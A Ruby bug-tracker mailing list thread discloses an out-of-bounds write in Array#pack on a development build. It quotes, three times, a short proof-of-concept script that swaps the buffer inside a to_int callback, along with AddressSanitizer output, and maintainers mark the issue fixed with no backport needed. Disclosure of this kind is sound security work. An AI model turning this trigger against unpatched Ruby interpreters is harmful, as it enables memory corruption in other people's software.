[ruby-core:126784] [Ruby Bug#22337] OOB write in array.pack()
Issue #22337 has been reported by danielchong (Daniel Chong). ---------------------------------------- Bug #22337: OOB write in array.pack() https://bugs.ruby-lang.org/issues/22337 * Author: danielchong (Daniel Chong) * Status: Open * ruby -v: 4.1.0-dev * Backport: 3.3: UNKNOWN, 3.4: UNKNOWN, 4.0: UNKNOWN ---------------------------------------- Hi, I found a case that causes an oob write in array.pack() PoC: ``` buf = "Z" * 4096 $buf = buf evil = Object.new def evil.to_int $buf.replace("q") 123456789 end [evil].pack("r", buffer: buf) ``` asan output (truncated): ``` ==ERROR: AddressSanitizer: use-after-poison ... WRITE of size 1 #0 bary_pack bignum.c:911 #1 rb_integer_pack bignum.c:3673 #2 pack_pack pack.c:800 <- write at RSTRING_PTR(res)+stale_start #3 vm_opt_newarray_pack_buffer vm_insnhelper.c:6632 Address ... is a wild pointer inside of access range of size 0x1. ``` -- https://bugs.ruby-lang.org/
Issue #22337 has been updated by peterzhu2118 (Peter Zhu). Status changed from Open to Closed Backport changed from 3.3: UNKNOWN, 3.4: UNKNOWN, 4.0: UNKNOWN to 3.3: WONTFIX, 3.4: REQUIRED, 4.0: REQUIRED Thank you for the bug report, I believe this has already been fixed [in this PR](https://github.com/ruby/ruby/pull/18884). I have marked this for backport. ---------------------------------------- Bug #22337: OOB write in array.pack() https://bugs.ruby-lang.org/issues/22337#change-119091 * Author: danielchong (Daniel Chong) * Status: Closed * ruby -v: 4.1.0-dev * Backport: 3.3: WONTFIX, 3.4: REQUIRED, 4.0: REQUIRED ---------------------------------------- Hi, I found a case that causes an oob write in array.pack() PoC: ``` buf = "Z" * 4096 $buf = buf evil = Object.new def evil.to_int $buf.replace("q") 123456789 end [evil].pack("r", buffer: buf) ``` asan output (truncated): ``` ==ERROR: AddressSanitizer: use-after-poison ... WRITE of size 1 #0 bary_pack bignum.c:911 #1 rb_integer_pack bignum.c:3673 #2 pack_pack pack.c:800 <- write at RSTRING_PTR(res)+stale_start #3 vm_opt_newarray_pack_buffer vm_insnhelper.c:6632 Address ... is a wild pointer inside of access range of size 0x1. ``` -- https://bugs.ruby-lang.org/
Issue #22337 has been updated by nagachika (Tomoyuki Chikanaga). Backport changed from 3.3: WONTFIX, 3.4: REQUIRED, 4.0: REQUIRED to 3.3: WONTFIX, 3.4: DONTNEED, 4.0: DONTNEED The 'r/R' specifiers are added in 4.1. I suppose we don't have to backport this. ---------------------------------------- Bug #22337: OOB write in array.pack() https://bugs.ruby-lang.org/issues/22337#change-119107 * Author: danielchong (Daniel Chong) * Status: Closed * ruby -v: 4.1.0-dev * Backport: 3.3: WONTFIX, 3.4: DONTNEED, 4.0: DONTNEED ---------------------------------------- Hi, I found a case that causes an oob write in array.pack() PoC: ``` buf = "Z" * 4096 $buf = buf evil = Object.new def evil.to_int $buf.replace("q") 123456789 end [evil].pack("r", buffer: buf) ``` asan output (truncated): ``` ==ERROR: AddressSanitizer: use-after-poison ... WRITE of size 1 #0 bary_pack bignum.c:911 #1 rb_integer_pack bignum.c:3673 #2 pack_pack pack.c:800 <- write at RSTRING_PTR(res)+stale_start #3 vm_opt_newarray_pack_buffer vm_insnhelper.c:6632 Address ... is a wild pointer inside of access range of size 0x1. ``` -- https://bugs.ruby-lang.org/
participants (3)
-
danielchong (Daniel Chong) -
nagachika (Tomoyuki Chikanaga)
-
peterzhu2118 (Peter Zhu)